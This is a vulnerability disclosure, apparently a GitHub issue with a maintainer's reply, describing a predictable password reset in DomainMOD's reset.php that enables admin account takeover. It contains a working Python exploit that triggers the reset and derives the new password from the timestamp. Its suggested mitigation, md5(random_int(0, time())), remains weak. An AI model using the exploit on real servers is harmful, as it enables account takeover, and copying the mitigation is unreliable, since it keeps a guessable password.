reset.php handles “resetting”/changing an existing user’s password. The reset functionality uses PHP’s time() to derive the new password for the user that is attempting to change their password. This method of using time() to create a temporary password is very deterministic and allows an attacker to invoke the reset password functionality and reliably determine what the new password is, thus allowing for an account takeover.
File Affected: reset.php
Vulnerability Details:
Below is an overview of the logic used by reset.php to change a user’s password.
In red is the SQL statement is used to determine the existence of a user.
SELECT first_name, last_name, username, email_address FROM users WHERE (username = :username OR email_address = :email_address) AND active = '1'
A user’s password is changed only if the above statement returns a non-empty result set. As we can see, the above SQL statement results in a row being returned if either the username or the email address exists in the database. Hence, an attacker will able to invoke a change of password (in green) as long the attacker knows a valid username.
Once, the user’s username (email ID) is validated, the application proceeds to change the password of the user (in green). A new/temporary password is created for the user by using the first 8 characters of the MD5 hash of the current Unix timestamp.
$new_password = substr(md5(time()), 0, 8);
An SQL statement is then used to update the user with the new password.
The problem with the aforementioned logic is that It is very easy for an attacker to determine the new password as the result of the time() is very deterministic and not random. Hence, this vulnerability can be exploited to change the password of a user and then reliably determine the new password. The credentials can then be used to login to the application.
As, admin is a default user on the application, this vulnerability can be used to change the admin password and consequently login to the application as the said admin user.
Exploit:
The following python script can be used to reset/change a user’s password and subsequently determine the new password.
import time
import math
import requests
import hashlib
RESET_URL = "http://SERVER_IP/path_to_domainmod_application/reset.php?user_identifier={}"
def reset_password(username='admin'):
seed_1 = str(math.floor(time.time())).encode('ascii')
r = requests.get(RESET_URL.format(username))
# Time is measured immediately after issuing the rest request just to handle edge cases of the
# timestamp changing in between the first-time measure and the reset request
seed_2 = str(math.floor(time.time())).encode('ascii')
password_1 = hashlib.md5(seed_1).hexdigest()
password_2 = hashlib.md5(seed_2).hexdigest()
print(password_1[:8])
print(password_2[:8])
reset_password()
Successful login using admin:Hacker!234
Resetting the password using the above exploit code
Unsuccessful login using admin:Hacker!234
Successful login using newly obtained credentials admin:e65edd7b
Mitigation:
One suggestion is to use a cryptographically secure random number as the seed to the md5() instead of time().
Thank you so much for the report! Especially one so detailed!
This issue has been resolved in the development branch (change 1, change 2), and it's going to be included in a new version that's being released in the next couple weeks.
Thanks again for the report, it's genuinely appreciated!
Summary:
reset.php handles “resetting”/changing an existing user’s password. The reset functionality uses PHP’s time() to derive the new password for the user that is attempting to change their password. This method of using time() to create a temporary password is very deterministic and allows an attacker to invoke the reset password functionality and reliably determine what the new password is, thus allowing for an account takeover.
File Affected: reset.php
Vulnerability Details:
Below is an overview of the logic used by reset.php to change a user’s password.

In red is the SQL statement is used to determine the existence of a user.
SELECT first_name, last_name, username, email_address FROM users WHERE (username = :username OR email_address = :email_address) AND active = '1'A user’s password is changed only if the above statement returns a non-empty result set. As we can see, the above SQL statement results in a row being returned if either the username or the email address exists in the database. Hence, an attacker will able to invoke a change of password (in green) as long the attacker knows a valid username.
Once, the user’s username (email ID) is validated, the application proceeds to change the password of the user (in green). A new/temporary password is created for the user by using the first 8 characters of the MD5 hash of the current Unix timestamp.
$new_password = substr(md5(time()), 0, 8);An SQL statement is then used to update the user with the new password.
The problem with the aforementioned logic is that It is very easy for an attacker to determine the new password as the result of the time() is very deterministic and not random. Hence, this vulnerability can be exploited to change the password of a user and then reliably determine the new password. The credentials can then be used to login to the application.
As, admin is a default user on the application, this vulnerability can be used to change the admin password and consequently login to the application as the said admin user.
Exploit:
The following python script can be used to reset/change a user’s password and subsequently determine the new password.
Mitigation:
One suggestion is to use a cryptographically secure random number as the seed to the md5() instead of time().
$new_password = substr(md5(random_int(0, time())), 0, 8);The text was updated successfully, but these errors were encountered: